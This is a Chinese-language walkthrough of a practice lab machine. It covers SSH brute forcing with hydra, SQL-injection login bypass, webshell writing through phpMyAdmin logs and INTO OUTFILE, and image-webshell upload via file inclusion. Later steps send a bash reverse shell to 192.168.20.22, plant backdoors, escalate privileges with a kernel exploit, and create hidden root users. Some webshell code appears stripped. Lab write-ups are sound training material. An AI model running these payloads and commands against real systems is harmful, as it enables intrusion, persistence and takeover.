1.拿到站点
1.1思路
信息收集 扫ip 扫服务 扫端口 扫目录
ip扫描识别开放的端口与服务,对简单常见可用度较高的服务进行攻击(3389,22爆破),浏览网页的页面的功能点可能存在漏洞的地方,收集足够的信息后进行记录,然后开始渗透,将所有可能利用的漏洞可以进行组合
比如该靶场的组合信息收集结束后发现很多有用的信息,通过任意文件下载漏洞下载文件包含了数据库的用户与密码,然后利用任意文件下载对首页的代码进行代码审计,发现存在文件包含漏洞,利用该漏洞与网站存在的上传功能进行结合上传图片马,拿到初级的shell后根据内核版本较低进行系统内核提权。
robots.txt 定义了允许被检测的目录,这些目录或者文件有可能会存在
1.2信息收集
工具的使用不做介绍:dirsearch、xray-rad、孤独、fscan、九头蛇
九头蛇爆破ssh命令
参数 -l 指定用户名 -L 指定字典
hydra -l root -P /usr/share/wordlists/username_password/password.txt -vV -t4 192.168.20.15 ssh
工具爆破ssh(密码是最后提权成功改的又来跑一下,最初没结果)
2.测试流程
2.1漏洞点
(1)登录点
(2)xss注入用处不大
(3)ssh(可后期使用)
(4)敏感目录
(5)文件上传、文件包含、文件下载
(6)phpmyadmin 文件写入,日志利用
2.2漏洞探测、利用
2.2.1登录点
利用转义字符 ” \“
pass='123456' and uname='admin' or 1
pass='123456' and uname='or 1=1 #'
123456' and uname=or 1=1#
从上一次的报错信息中可以看到关于这个输入的相关信息,查询语句username与pass的位置进行了调换,并且单引号被过滤了,在之前的万能密码中会构造的是将输入的引号注释掉再用单引号闭合,在这里引号被注释是无法使用引号闭合的,所以需要将原有的引号干掉并构造永真语句,方法就是使用转义符号
正常输入的提示结果--pass='123456' and uname='admin'
考虑将其结构变成--pass='123456 and uname='or 1=1 ---使单引号提前闭合,并且构造永真条件,注释掉最后一个多余的单引号
(1)考虑输入数据传入数据库的时候数据库使怎么接收这个数据的,传入数据库的内容是否还带引号呢--pass='123456' and uname='or 1=1#'
(2)输入pass='123456' and uname='or 1=1#'----传入数据库----->pass=123456' and uname='or 1=1 经过转义字符123456/'--变成--->123456‘
or 1=1 # / asdajh
2.2.2phpmyadmin漏洞利用
方式-1
该漏洞利用的要求比较高,是权限较高的用户才可以执行操作,进入到系统后通过SQL查询语句去执行命令,首先查看日志功能是否开启,如果未开启,输入命令开启,利用日志的目的就是当命令执行过后每一条都会保存到日志文件中,攻击者将日志文件的路径自定义并设置为php文件,然后构造执行恶意的查询一句话木马语句,使其自动存储到文件中,然后利用自定义的位置去访问含有木马的日志文件,再用webshell管理工具进行连接即可拿到shell
show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file'; -- 看看日志文件保存位置
set global general_log_file='/var/www/uploaded_images/infofo.php'; -- 设置日志文件保存位置
show variables like 'log_output'; -- 看看日志输出类型 table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file'; -- 设置输出类型为file
select ''; --执行命令使其进入日志
方式-2
直接指定文件的位置与文件名将木马写入到文件当中,但是这种情况下需要权限与当前用服务开放或者被使用的状态
show variables like '%secure%'
select '' INTO OUTFILE 'var/www/html/cmd.php'--执行命令写入木马文件
2.2.3文件包含,文件下载
可以下载所有的可以访问到的网页的源码
源码分析,在index.php当中存在着文件包含配置文件
下载文件得到数据库的用户名与密码
下载文件首页也存在文件包含漏洞,利用该漏洞进行图片马的上传
3.shell的反弹
3.1图片包含马
GIF89a
";
b,
b);
?>
图片.jpg
将文件上传后,点击继续,利用burp抓包,修改文件路径,使其能够解析文件生成木马
生成的木马文件可以进用webshell管理工具进行连接
3.2图片马执行系统命令
GIF98a
修改信息,执行命令
load=/uploaded_images/图片.jpg&continue=continue&hack=phpinfo();
3.3图片马:远程执行系统命令返回监听
同样制作一个图片木马文件,但是该木马文件是可以执行系统命令的,
GIF98a
将其上传后,通过burp抓包,修改木马中传参的参数信息,使其执行系统命令反弹shell给kali
load=uploaded_images/图片.jpg&continue=continue&cmd=echo "bash -i >& /dev/tcp/192.168.20.22/9999 0>&1" | bash
进行url编码
echo "bash -i >& /dev/tcp/192.168.20.22/9999 0>&1" | bash
构造好的payload
点击send发送kali就会收到弹过来的shell
3.4得到shell后写木马留后门
在上面的操作中,已经拿到了shell,但是还可以在写入更多的木马,比如比较稳定的大马内存马等
echo '' >> planB.php
4.内核提权
4.1内核信息
查看内核信息
lsb_release -a
4.2内核信息漏洞分析
searchsploit ubuntu 12.0
4.3漏洞利用
拷贝至当前文件夹
searchsploit -m 37292.c
上传至系统利用蚁剑
更改文件权限
编译文件并运行文件提权
gcc 37292.c -o exp
配置环境可以执行clear命令
export TERM=xterm-color
提权结果
五、假设
就是复现一下创建用户
改一下靶机密码
然后ssh连接
假设一下第一步弱口令爆破成功的话以root的身份进入到系统
创建一个用户,并将用户权限改为root
那么后面就可以使用该用户进行操作,也可以去创建隐藏用户
六、总结
1、本次渗透靶机基于网络上的靶机有改动的地方,参考了一些大佬的文文章很受用也学到了新奇的知识:
利用任意文件下载漏洞得到数据库账户,进入phpmyadmin后台得到用户账户,尝试木马写入,无果
创建账户进入网站后台,万能密码绕过登录
利用文件包含与图片马拿到Webshell与会话shell
利用Linux内核版本漏洞提权
2、有一处知识点是之前没有见过的:
写入php木马建立反弹会话shell
原先只会利用上传文件或者是写文件,创建一个Webshell,但是Webshell的可操作性不高,一般只能对网站进行相关操作,而无法对目标系统实施控制,写入一个建立反弹shell的php文件,通过这个问价可以将shell反弹给kali
php文件中添加的语句如下:
& /dev/tcp/192.168.20.22/9999 0>&1" | bash'); ?>